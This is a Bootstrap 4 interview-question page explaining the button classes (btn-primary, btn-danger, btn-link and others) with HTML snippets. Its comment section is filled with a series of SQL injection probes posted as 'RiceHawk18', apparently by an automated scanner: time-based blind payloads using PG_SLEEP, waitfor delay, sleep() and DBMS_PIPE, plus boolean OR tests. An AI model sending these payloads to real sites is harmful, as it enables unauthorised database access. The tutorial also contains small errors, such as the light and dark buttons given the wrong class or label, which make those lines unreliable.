What types of Bootstrap buttons do you know and how do you create them in a page?

Experience Level: Junior
Tags: Bootstrap 4

Answer

Executive summary

Bootstrap knows the following buttons:

  • Primary button - uses class btn btn-primary
  • Secondary button - uses class btn btn-secondary
  • Success button - uses class btn btn-success
  • Danger button - uses class btn btn-danger
  • Warning button - uses class btn btn-warning
  • Info button - uses class btn btn-info
  • Light button - uses class btn btn-info
  • Dark button - uses class btn btn-dark
  • Link button - uses class btn btn-link

Primary button

The primary buttons are used to trigger primary actions. They are defined by class btn btn-primary.

Primary button
<button class="btn btn-primary">Primary button</button>

Secondary button

The secondary buttons are used to trigger secondary actions. They are defined by class btn btn-secondary.

Secondary button
<button class="btn btn-secondary">Secondary button</button>

Success button

The success buttons are usually used to trigger safe actions that follow after the previous action has succeeded. They are defined by class btn btn-success.

Success button
<button class="btn btn-success">Success button</button>

Danger button

The danger buttons are usually used to trigger dangerous actions where the user should pay attention before he clicks the button. The danger buttons are defined by class btn btn-danger.

Danger button
<button class="btn btn-danger">Danger button</button>

Warning button

The warning buttons are usually used to trigger semi-dangerous actions where the user should pay attention before he clicks the button. The warning buttons are defined by class btn btn-warning.

Warning button
<button class="btn btn-warning">Warning button</button>

Info button

The info buttons are usually used to trigger safe actions after some informational message was communicated to the user. The info buttons are defined by class btn btn-info.

Info button
<button class="btn btn-info">Info button</button>

Light button

The light buttons don't have any special semantic usage. They are just light. And they are defined by class btn btn-light.

Light button
<button class="btn btn-light">Info button</button>

Dark button

The dark buttons don't have any special semantic usage. They are just dark. And they are defined by class btn btn-dark.

Dark button
<button class="btn btn-dark">Info button</button>

Link button

The link buttons are usually used at places where you can't change the tag from button to a but you still need the button to look like a link. They are defined by class btn btn-link.

Link button
<button class="btn btn-link">Link button</button>

Comments

No Comments Yet.
Be the first to tell us what you think.
Bootstrap for beginners
Bootstrap for beginners

Are you learning Bootstrap ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e